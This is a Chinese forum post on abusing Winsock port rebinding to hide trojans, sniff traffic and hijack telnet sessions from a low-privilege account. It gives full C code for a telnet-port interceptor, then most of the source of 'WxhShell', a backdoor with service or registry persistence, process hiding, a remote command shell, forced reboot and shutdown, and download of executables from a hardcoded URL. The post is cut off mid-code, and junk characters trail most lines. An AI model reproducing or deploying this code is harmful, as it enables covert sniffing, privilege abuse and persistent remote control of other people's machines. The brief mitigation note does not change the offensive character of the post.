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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8m;tgMFO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T?'Vb  
9Lv"|S`5W_  
  saddr.sin_family = AF_INET; Q`7.-di  
O6$d@r;EK]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =g+Rk+jn  
v\:P _J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 27-GfC=7*  
FOx&'dH %@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =vZF/r  
{*J{1)2  
  这意味着什么?意味着可以进行如下的攻击: 0O:')R&  
.y~vn[qN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Juqe%he`  
&KS*rHgt?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  *c6o#[l  
lboi\GP|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =1'vXPv`  
mE}@}@(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nD51,1>  
QFtf.")[.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mWPA]g(  
U2D2?#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;9rS[$^$O  
nF!6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R#x~f  
m<X[s  
  #include ?' :v): J}  
  #include O<o>/HH$  
  #include uVn"'p-  
  #include    = olmBXn/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :_f5(N*{5o  
  int main() R ]! [h  
  { EDf"1b{PX  
  WORD wVersionRequested; AYP*J  
  DWORD ret; 9cwy;au  
  WSADATA wsaData; =W_Pph  
  BOOL val; v{[:7]b_=  
  SOCKADDR_IN saddr; V6ICR{y<3  
  SOCKADDR_IN scaddr; "A]Xe[oS  
  int err; +'VSD`BR  
  SOCKET s; P`xQL  
  SOCKET sc; x [_SNX"  
  int caddsize; 7B)m/%>3s  
  HANDLE mt; `UK'IN.il  
  DWORD tid;   gZHuyp(B  
  wVersionRequested = MAKEWORD( 2, 2 ); +\_c*'K>  
  err = WSAStartup( wVersionRequested, &wsaData ); 7H l>UX,|  
  if ( err != 0 ) { [Ep%9(SgA'  
  printf("error!WSAStartup failed!\n"); G8t9Lx  
  return -1; nUy.gAb  
  } Z.l4<  
  saddr.sin_family = AF_INET; ~EL3I  
   ^P}jn`4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g]Jt (aYK  
[  ^S(SPL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {TL.2  
  saddr.sin_port = htons(23); r&y0`M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6D&{+;  
  { *t%Z'IA  
  printf("error!socket failed!\n"); YstR T1  
  return -1; d2a*xDkv  
  } -Is;cbfLj/  
  val = TRUE; ~~\C.6c#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kfV}ta'^S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |ns B'Q  
  { K'_qi8Z  
  printf("error!setsockopt failed!\n"); 9,wD  
  return -1; y<g1q"F  
  } 2rV]n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q S qS@+p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]?6Pt:N2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tiGBjTPt  
KcvstC`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,r8#-~A6,A  
  { lDSF  
  ret=GetLastError(); S"4eS,5L|  
  printf("error!bind failed!\n"); Xwo%DZKN  
  return -1; <I#nwoHN  
  } {sfA$ d0  
  listen(s,2); 6Hp+?mmh  
  while(1) -3K01p  
  { =(]Z%Q-V  
  caddsize = sizeof(scaddr); g\% Z+Dc  
  //接受连接请求 F )Iz:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )_YB8jUR-X  
  if(sc!=INVALID_SOCKET) IIG9&F$G  
  { ?g9:xgkF ^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]9N&I/-  
  if(mt==NULL) ^)y8X.iO  
  { "Ccyj/  
  printf("Thread Creat Failed!\n"); Wc Gg  
  break; zM,r0Z  
  } xg}Q~,:  
  } n$F~  
  CloseHandle(mt); k8?G%/TD  
  } 0|Xz-Y  
  closesocket(s); N;`/>R4|I  
  WSACleanup(); P8(hHuO  
  return 0; g#MLA5%=u  
  }   )q66^% ;S  
  DWORD WINAPI ClientThread(LPVOID lpParam) 57~y 7/0  
  { Xhq7)/jp  
  SOCKET ss = (SOCKET)lpParam; &7i&"TNptP  
  SOCKET sc; Sx[ eX,q  
  unsigned char buf[4096]; &+n9T?+b  
  SOCKADDR_IN saddr; 9Ta0Li  
  long num; $AT@r"  
  DWORD val; hrm<!uKn  
  DWORD ret; <PVwf`W.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "M, 1ElQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X$;&Mdo.  
  saddr.sin_family = AF_INET; 8IA1@0n&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W#%s0EN<_  
  saddr.sin_port = htons(23); _6Y+E"@zs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _1NK9dp:  
  { AN:yL a!  
  printf("error!socket failed!\n"); 5f{P% x(  
  return -1; ^DN:.qQ  
  } >{N}UNZ$}  
  val = 100; 43pe6 ^.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *5 +GJWKN  
  { F#>00b{Q  
  ret = GetLastError(); (-g*U#   
  return -1; BY.k.]/  
  } (c>g7d<>n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L;* s-j6y  
  { 4 s ax  
  ret = GetLastError(); }b1FB<e]  
  return -1; 0|RofL&o  
  } Km;}xke6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =KUmvV*\  
  { dYwkP^KB  
  printf("error!socket connect failed!\n"); QXZyiJX}  
  closesocket(sc); T#H^ }`  
  closesocket(ss); yo=L1; H  
  return -1; a8f#q]TyQ  
  } eD?&D_l~6  
  while(1) 7IkPi?&{  
  { 54CJ6"q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X58U>4a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hi A E9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g5|~ i{"0  
  num = recv(ss,buf,4096,0); W48RZghmx  
  if(num>0) O|V0WiY<  
  send(sc,buf,num,0); lcie6'<  
  else if(num==0) N#K)Z5J)b  
  break; x-m*p^}  
  num = recv(sc,buf,4096,0); Tb$))O}  
  if(num>0) Y {^*y  
  send(ss,buf,num,0); `*3A7y  
  else if(num==0) s`jlE|jtN  
  break; *O :JECKU  
  } -67Z!N  
  closesocket(ss); oI;ho6y)  
  closesocket(sc); oFj_o  
  return 0 ; vN'+5*Cgy6  
  } 1ysfpX{=  
WR{m?neE_N  
P |t yyjO  
========================================================== Gr\ ]6  
hOwb   
下边附上一个代码,,WXhSHELL w$:\!FImx  
^eh.Iml'@  
========================================================== WT'-.UX m  
k( :Bl  
#include "stdafx.h" 1.du#w  
lo$G*LWu:  
#include <stdio.h> w7Yu} JY^  
#include <string.h> +]eG=. u  
#include <windows.h> J"C9z{[Z&  
#include <winsock2.h> nQ\`]_C  
#include <winsvc.h> mD'nF1o Ly  
#include <urlmon.h> W3,r@mi^s7  
c["1t1G  
#pragma comment (lib, "Ws2_32.lib") ^I!Z)/  
#pragma comment (lib, "urlmon.lib") f'oTN!5WF  
"z{/*uM2<  
#define MAX_USER   100 // 最大客户端连接数 vwT1bw.  
#define BUF_SOCK   200 // sock buffer ^ 8}P_  
#define KEY_BUFF   255 // 输入 buffer 0`x>p6.)G  
 ;j26(dH  
#define REBOOT     0   // 重启 9<u&27.  
#define SHUTDOWN   1   // 关机 !, BJO3&  
JKZVd`fF  
#define DEF_PORT   5000 // 监听端口 9WG=3!-@  
\6wltTW]#  
#define REG_LEN     16   // 注册表键长度 #&'S-XE+  
#define SVC_LEN     80   // NT服务名长度 f SkC>mWv  
KNeVSZT  
// 从dll定义API @&m [w'tn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zIF1A*UH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mW"e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gX{j$]^6G8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ywz@0nx  
TB>_#+:  
// wxhshell配置信息 0XA\Ag\`G  
struct WSCFG { XZOBK^,5^B  
  int ws_port;         // 监听端口 8XH;<z<oJ  
  char ws_passstr[REG_LEN]; // 口令 ? X8`+`nh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4BMu0["6|s  
  char ws_regname[REG_LEN]; // 注册表键名 5S4Nx>  
  char ws_svcname[REG_LEN]; // 服务名 $*{,Z<|2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nf4@m|#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s]m]b#1!r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Q#pu;Y*N]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I;XM4a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9BakxmAc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0")_%  
pss')YP.  
}; 1Lf -  
Jj ]<SWh  
// default Wxhshell configuration q,sO<1wAT\  
struct WSCFG wscfg={DEF_PORT, j/Kul}Ml\*  
    "xuhuanlingzhe", ?.,F3@W "  
    1, ^h_rE |c  
    "Wxhshell", Idu'+O4  
    "Wxhshell", !IJ YaQ6z  
            "WxhShell Service", htYfIy{5w  
    "Wrsky Windows CmdShell Service", %{ U (y#  
    "Please Input Your Password: ", rv{Wti[  
  1, @w33u^  
  "http://www.wrsky.com/wxhshell.exe", p_xJ KQS  
  "Wxhshell.exe" v1$}[&/  
    }; |3k r*#  
"U9e)a0v  
// 消息定义模块 *vNAm(\N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5#z7Hj&w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [?6+ r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $m)eO8S+  
char *msg_ws_ext="\n\rExit."; Cno[:iom  
char *msg_ws_end="\n\rQuit."; h9d*N9!;M  
char *msg_ws_boot="\n\rReboot..."; 6oWFjeZ0  
char *msg_ws_poff="\n\rShutdown..."; * r4FOA%P  
char *msg_ws_down="\n\rSave to "; rhF2U  
di;~$rI!?  
char *msg_ws_err="\n\rErr!"; hB 'rkjt  
char *msg_ws_ok="\n\rOK!"; ?RE"<L  
-R9{Ak  
char ExeFile[MAX_PATH]; pl}W|kW}  
int nUser = 0; YxnZ0MY  
HANDLE handles[MAX_USER]; ?5G; =#I  
int OsIsNt; )"Ujx`]4r  
{DVMs|5;^  
SERVICE_STATUS       serviceStatus; #m{F*(%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bz1`f>%l  
KfK5e{yT  
// 函数声明 U8aNL sw  
int Install(void); CT\rx>[J.6  
int Uninstall(void); uv$utu>< *  
int DownloadFile(char *sURL, SOCKET wsh); 0#5&*  
int Boot(int flag); 3?k<e  
void HideProc(void); njNqUo>  
int GetOsVer(void); ,-n_( U  
int Wxhshell(SOCKET wsl); D3tcwjXoW_  
void TalkWithClient(void *cs); nBd(p Oe  
int CmdShell(SOCKET sock); [pt U}  
int StartFromService(void); N5MWMN[6aP  
int StartWxhshell(LPSTR lpCmdLine); \R 3O39[  
!(S.7#-r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .5~3D97X&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <\d`}A:&  
e ?Jgk$"  
// 数据结构和表定义 /+<G@+(  
SERVICE_TABLE_ENTRY DispatchTable[] = &[ |Z2}  
{ fn5!Nr ,  
{wscfg.ws_svcname, NTServiceMain}, 1Si$Q  
{NULL, NULL} bvl!^xO]  
}; 9*s:Vff{  
(76tYt~I=  
// 自我安装 OJFWmZ(X  
int Install(void) zq$0 ?vGd  
{ %4wHiCOg  
  char svExeFile[MAX_PATH]; X4k|k>  
  HKEY key; i"^ y y+  
  strcpy(svExeFile,ExeFile); $m-@ICG#  
I 'ha=PeVn  
// 如果是win9x系统,修改注册表设为自启动 {(d 6of`C_  
if(!OsIsNt) { 7Zft]C?|@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ayg^js2,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H@|m^1  
  RegCloseKey(key); U]M5&R=?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <`BDN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yx<-M  
  RegCloseKey(key); }'p*C$  
  return 0; .;dI&0Z  
    } i66/2BUh.  
  } c&g*nDuDj  
} FW4#/H  
else { +WCV"m  
#Fh:z4  
// 如果是NT以上系统,安装为系统服务 \O*W/9 +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0|mC k  
if (schSCManager!=0) b:x~Jz#%2  
{ #,SPV&  
  SC_HANDLE schService = CreateService .sZ"|j9m  
  ( cmp@Ow"c  
  schSCManager, Q*9Y.W.8  
  wscfg.ws_svcname, o#-^Lg&  
  wscfg.ws_svcdisp, LO,:k+&A+  
  SERVICE_ALL_ACCESS, dp }zG+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q3u:Tpn4%  
  SERVICE_AUTO_START, AZ. j>+0xx  
  SERVICE_ERROR_NORMAL, Cv< s|  
  svExeFile, =pb ru=/  
  NULL, gS!zaD7Nr  
  NULL, !!)NER-dv  
  NULL, .bNG:y>  
  NULL, }4q1"iMlO  
  NULL /b."d\  
  ); dSE"G>l8  
  if (schService!=0) >UXNR`?  
  { *$Z?Owl7  
  CloseServiceHandle(schService); H6M G5f_  
  CloseServiceHandle(schSCManager); 5>fAO =u!Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0>ce~KU  
  strcat(svExeFile,wscfg.ws_svcname); R-Gg= l5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ugs9>`fF&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mv#*%St5  
  RegCloseKey(key); Wfsd$kN6{  
  return 0; O-n JuZJgX  
    } ,b t j6hg  
  } ,3Aiz|v-  
  CloseServiceHandle(schSCManager); ?DKY;:dZF  
} 2k^'}7G%  
} 5a5)hmO RB  
HnKXO  
return 1; z2 mjm  
} gvFCsVv<{  
cT nC  
// 自我卸载 c'wU$xt.w  
int Uninstall(void) U,Fyi6{~  
{ c6VyF=2q  
  HKEY key; x !n8Wx  
*$@u`nM  
if(!OsIsNt) { _[/#t|I}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XmN8S_M>v  
  RegDeleteValue(key,wscfg.ws_regname); 'i4L.&  
  RegCloseKey(key); KY\=D 2m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]#vi/6\J  
  RegDeleteValue(key,wscfg.ws_regname); ==EB\>g|  
  RegCloseKey(key); \q^:$iY~  
  return 0; l_Zx'm  
  } dj{~!}  
} R1(3c*0f  
} / |isRh|  
else {  |^"0bu"  
\r"gqv)^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &_74h);2I:  
if (schSCManager!=0) eg24.W9c  
{ ygQe'S{!S\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `UT UrM  
  if (schService!=0) hw=~ %f;  
  { )W&{OMr  
  if(DeleteService(schService)!=0) { c:""&>Z  
  CloseServiceHandle(schService); ilAhw4A  
  CloseServiceHandle(schSCManager); Zn[ppsz|  
  return 0; fElFyOo+  
  } dg_w$#  
  CloseServiceHandle(schService); Y(R.<LtY  
  } egVKAR-  
  CloseServiceHandle(schSCManager); A WJA?  
} W2'!Pc,W  
} 73Hm:"Eqd  
P>(FCX  
return 1; Xt +9z  
} SmIcqM  
"lSh 4X  
// 从指定url下载文件 iu3L9UfL[  
int DownloadFile(char *sURL, SOCKET wsh) 'gHg&E9E&  
{ o4wSt6gBcJ  
  HRESULT hr; =[LorvX+  
char seps[]= "/"; );kD0FO1|  
char *token; -:E~Z_J`  
char *file; Gr#3GvL  
char myURL[MAX_PATH]; m xqY  
char myFILE[MAX_PATH]; T5z]=Pd"^  
fP\q?X@]E  
strcpy(myURL,sURL); h9/fD5  
  token=strtok(myURL,seps); K6sXw[VC[  
  while(token!=NULL) 2;0eW&e   
  { 2TNK  
    file=token; PjH'5Y  
  token=strtok(NULL,seps); |0Xf":  
  } T6QRr}8`/J  
gn&Zt}@[  
GetCurrentDirectory(MAX_PATH,myFILE); *UJ4\  
strcat(myFILE, "\\"); `G_~zt/  
strcat(myFILE, file); m uy^>2p  
  send(wsh,myFILE,strlen(myFILE),0); Fm,` ]CO  
send(wsh,"...",3,0); *3r s+0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WTJ{M$  
  if(hr==S_OK) +vaA P=  
return 0; oeB'{bG  
else oQObr  
return 1; &N._}ts  
rQyjNh  
} 8-Y*b89  
8-B7_GoJ+B  
// 系统电源模块 KmTFJ,iM  
int Boot(int flag) ;RRw-|/Wm  
{ YO$D-  
  HANDLE hToken; <|jh3Hlp  
  TOKEN_PRIVILEGES tkp; hlB\Xt  
bWAa: r  
  if(OsIsNt) { &i(Ip'r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &29jg_'W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G(TFv\`vH  
    tkp.PrivilegeCount = 1; )iQ^HZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b%%r`j,'JE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FV/t  
if(flag==REBOOT) { PPr Pj^%z=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #-<Go'yF  
  return 0; 6UuN-7z!"  
} T7.Iqw3p  
else { $_E.D>5^%7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5P%#5Yr2  
  return 0; .i I{  
} A5TSbW']+5  
  } _huJ*W7lR  
  else { >kK@tJn  
if(flag==REBOOT) { _&BK4?H@b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3HpqMz  
  return 0; lAP k/G  
} ( .cA'f?h  
else { J<QZ)<T,&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b>OB}Is  
  return 0; qBX_v5pvVA  
} _d5:Y  
} \+%~7Bi]z  
L AasmQ  
return 1; 6r<a  
} X$we\t  
S F*C'  
// win9x进程隐藏模块 CF{b Yf^%  
void HideProc(void) 1fS&KO{a  
{ KD &nLm!  
w Wb>V&3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FT- .gi0  
  if ( hKernel != NULL ) (yq e 4  
  { :}zyd;Rc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MONX&$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BqNeY<zB*  
    FreeLibrary(hKernel); ~4{q  
  } Bdw33z*m  
b?i+nh qI  
return; &< BBP n@\  
} noxJr/A]  
"CJ~BJI%  
// 获取操作系统版本 ][$I~ nRf  
int GetOsVer(void) >o?v[:u*  
{ >>P5 4|&  
  OSVERSIONINFO winfo; 2e1KF=N+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (4+P7Z,Nc  
  GetVersionEx(&winfo); 5)!g.8-!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (?|M'gZ  
  return 1; 5[ zN M  
  else <giBL L!  
  return 0; {|?^@  
} ukSv70Ev  
^?VQ$o2  
// 客户端句柄模块 Jbu2y'zE  
int Wxhshell(SOCKET wsl) 9=>fx  
{ uAn}qrqE9  
  SOCKET wsh; 8F}drK9>F  
  struct sockaddr_in client; F^u12R)  
  DWORD myID; t%lat./yT  
)\akIA  
  while(nUser<MAX_USER) Y$=jAN  
{ ,;`f* #  
  int nSize=sizeof(client); dht0PZdx?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &?@C^0&QV  
  if(wsh==INVALID_SOCKET) return 1; ==dKC;  
1r;zA<<%R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CxF d/X,  
if(handles[nUser]==0) .Kb3VNgwvm  
  closesocket(wsh); >pv.,cj  
else vF27+/2+R  
  nUser++; 6zi>Q?] 1  
  } 6X \g7bg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KNVu[P)rv  
IO\4dU)  
  return 0; ^m qEKy<  
} yKc-:IBb{u  
|6E_N5~  
// 关闭 socket `z&#|0O  
void CloseIt(SOCKET wsh) 0pZvW  
{ j6m;03<|  
closesocket(wsh); 6_j |@  
nUser--; aGD< #]  
ExitThread(0); ){;XI2  
} 4{P+p!4  
c[h~=0UtJ  
// 客户端请求句柄 4zoQe>v~  
void TalkWithClient(void *cs) #<*Vc6pC  
{ (>al-vZ6A  
4b;Mb  
  SOCKET wsh=(SOCKET)cs; s4|\cY`b-  
  char pwd[SVC_LEN]; GK@OdurAR  
  char cmd[KEY_BUFF]; M>AxVL  
char chr[1]; XNz+a|cF  
int i,j; a1Fx|#! mq  
-#v~;Ci  
  while (nUser < MAX_USER) { MGg(d  
=X$ieXq|  
if(wscfg.ws_passstr) { G@8)3 @  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :{7+[LcH7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ula-o)S  
  //ZeroMemory(pwd,KEY_BUFF); ? #K|l*  
      i=0; At Wv9  
  while(i<SVC_LEN) { ?.~1%l!  
wI%M3XaBws  
  // 设置超时 S=UuEmU5N  
  fd_set FdRead; &uq.k{<p\  
  struct timeval TimeOut; ;ArwEzo(  
  FD_ZERO(&FdRead); m:H^m/g  
  FD_SET(wsh,&FdRead); [|(|"dh@^H  
  TimeOut.tv_sec=8; yM_/_V|G  
  TimeOut.tv_usec=0; \nl(tU#j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S$mv(C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F y+NJSG  
U&^q#['  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #AD_EN9  
  pwd=chr[0]; 3jx%]S^z|  
  if(chr[0]==0xd || chr[0]==0xa) { f|d~=\0y  
  pwd=0; ":]X r!e  
  break; k&Pt\- 9on  
  } 59E9K)c3  
  i++; } d[(kC_  
    } (v]%kXy/G  
:qzg?\(  
  // 如果是非法用户,关闭 socket $WA wMS,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $QJ3~mG2  
} m6Dm1'+  
i/>k_mG$d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *yZ6"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 91R# /i  
Ib(C`4%  
while(1) { [YvS#M3T  
V,r~%p  
  ZeroMemory(cmd,KEY_BUFF); t{})6  
 A 3 V  
      // 自动支持客户端 telnet标准   !j!w $  
  j=0; ?P9aXwc  
  while(j<KEY_BUFF) { l*ltS(?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yfl?\X{  
  cmd[j]=chr[0]; n_kwtWX(  
  if(chr[0]==0xa || chr[0]==0xd) { K V5 '-Sv1  
  cmd[j]=0; &xGdKH  
  break; @pH2"k| @  
  } HLyA zB~r  
  j++; rm-d),Zt  
    } 0cm34\*  
\M`qaFan5^  
  // 下载文件 BJ UG<k  
  if(strstr(cmd,"http://")) { <H-Nft>O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |/,S NE  
  if(DownloadFile(cmd,wsh)) s&7 3g0$$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); & bTCTDZh  
  else +\=g&G,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ':.Hz]]/A  
  } Q[OwP  
  else { 0)&!$@HW  
~&Z>fgOTJ  
    switch(cmd[0]) { )^:H{1'  
  !Fl'?Kz  
  // 帮助 /k'7j*t Z  
  case '?': { z:Am1B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o\8?CNm1(  
    break; R3B+vLGX  
  } ZthT('"a  
  // 安装 rbvk.:"^w  
  case 'i': { 7uR;S:WX  
    if(Install()) \HGf!zZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lc!2'Do;  
    else tpWGmj fo>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P~ObxY|  
    break; Z],j|r Wy6  
    } 3)G~ud  
  // 卸载 '| i?-(f)  
  case 'r': { UF"%FF  
    if(Uninstall()) U[wx){[|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5>[hQR\  
    else RBQ8+^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =gj?!d`  
    break; qPPe)IM'Sc  
    }  W9?* ~!  
  // 显示 wxhshell 所在路径 Wj.t4XG!  
  case 'p': { owIpn=8|Q  
    char svExeFile[MAX_PATH]; Tri\5O0lPs  
    strcpy(svExeFile,"\n\r"); UyRy>:n  
      strcat(svExeFile,ExeFile); xX&B&"]5  
        send(wsh,svExeFile,strlen(svExeFile),0); "W(D0oy  
    break; E+\?ptw  
    } |S!R Q-CF  
  // 重启 GxhE5f;  
  case 'b': { ^("b~-cJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k{2Gq1S{  
    if(Boot(REBOOT)) %M96 m   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E2 a#Vd  
    else { "}71z  
    closesocket(wsh); boojq{cvYA  
    ExitThread(0); p4P=T@:  
    } J.UNw8z  
    break; "1,*6(;:  
    } *tv&=  
  // 关机 nL?P/ \  
  case 'd': { JRB6T_U  
